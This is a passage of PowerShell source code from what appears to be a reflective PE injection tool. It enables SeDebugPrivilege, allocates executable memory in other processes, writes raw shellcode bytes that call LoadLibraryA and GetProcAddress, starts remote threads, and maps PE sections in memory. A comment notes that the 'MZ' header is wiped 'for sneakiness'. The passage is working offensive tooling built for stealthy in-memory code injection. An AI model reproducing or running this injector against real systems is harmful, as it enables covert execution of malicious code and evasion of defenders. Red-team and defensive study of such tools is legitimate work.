# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)
{
Throw "Unable to call LookupPrivilegeValue"
}
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
#Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
}
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}
Function Invoke-CreateRemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(Position = 3, Mandatory = $false)]
[IntPtr]
$ArgumentPtr = [IntPtr]::Zero,
[Parameter(Position = 4, Mandatory = $true)]
[System.Object]
$Win32Functions
)
[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
$OSVersion = [Environment]::OSVersion.Version
#Vista and Win7
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
{
#Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
}
}
#XP/Win8
else
{
#Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
}
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Write-Verbose "Error creating remote thread, thread handle is null"
}
return $RemoteThreadHandle
}
Function Get-ImageNtHeaders
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$NtHeadersInfo = New-Object System.Object
#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
#Get IMAGE_NT_HEADERS
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
if ($imageNtHeaders64.Signature -ne 0x00004550)
{
throw "Invalid IMAGE_NT_HEADER signature."
}
if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
}
else
{
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
}
return $NtHeadersInfo
}
#This function will get the information needed to allocated space in memory for the PE
Function Get-PEBasicInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$PEInfo = New-Object System.Object
#Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
#Get NtHeadersInfo
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
#Build a structure with the information which will be needed for allocating memory and writing the PE to memory
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
#Free the memory allocated above, this isn't where we allocate the PE to memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
return $PEInfo
}
#PEInfo must contain the following NoteProperties:
# PEHandle: An IntPtr to the address the PE is loaded to in memory
Function Get-PEDetailedInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
{
throw 'PEHandle is null or IntPtr.Zero'
}
$PEInfo = New-Object System.Object
#Get NtHeaders information
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
#Build the PEInfo object
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
if ($PEInfo.PE64Bit -eq $true)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
else
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
}
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
}
else
{
Throw "PE file is not an EXE or DLL"
}
return $PEInfo
}
Function Import-DllInRemoteProcess
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$ImportDllPathPtr
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RImportDllPathPtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($DllPathSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
[IntPtr]$DllAddress = [IntPtr]::Zero
#For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
# Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
if ($PEInfo.PE64Bit -eq $true)
{
#Allocate memory for the address returned by LoadLibraryA
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
}
#Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba)
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if ($Result -eq $false)
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
else
{
[IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[Int32]$ExitCode = 0
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
if (($Result -eq 0) -or ($ExitCode -eq 0))
{
Throw "Call to GetExitCodeThread failed"
}
[IntPtr]$DllAddress = [IntPtr]$ExitCode
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $DllAddress
}
Function Get-RemoteProcAddress
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$RemoteDllHandle,
[Parameter(Position=2, Mandatory=$true)]
[String]
$FunctionName
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
#Write FunctionName to memory (will be used in GetProcAddress)
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
$RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RFuncNamePtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($FunctionNameSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
#Get address of GetProcAddress
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
#Allocate memory for the address returned by GetProcAddress
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
}
#Write Shellcode to the remote process which will call GetProcAddress
#Shellcode: GetProcAddress.asm
#todo: need to have detection for when to get by ordinal
[Byte[]]$GetProcAddressSC = @()
if ($PEInfo.PE64Bit -eq $true)
{
$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$GetProcAddressSC2 = @(0x48, 0xba)
$GetProcAddressSC3 = @(0x48, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
$GetProcAddressSC2 = @(0xb9)
$GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
#The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $ProcAddress
}
Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
# in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
# SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
# so truncate SizeOfRawData to VirtualSize
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Update-MemoryAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$OriginalImageBase,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
[Int64]$BaseDifference = 0
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
#If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
{
return
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
$AddDifference = $false
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
}
#Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
while($true)
{
#If SizeOfBlock == 0, we are done
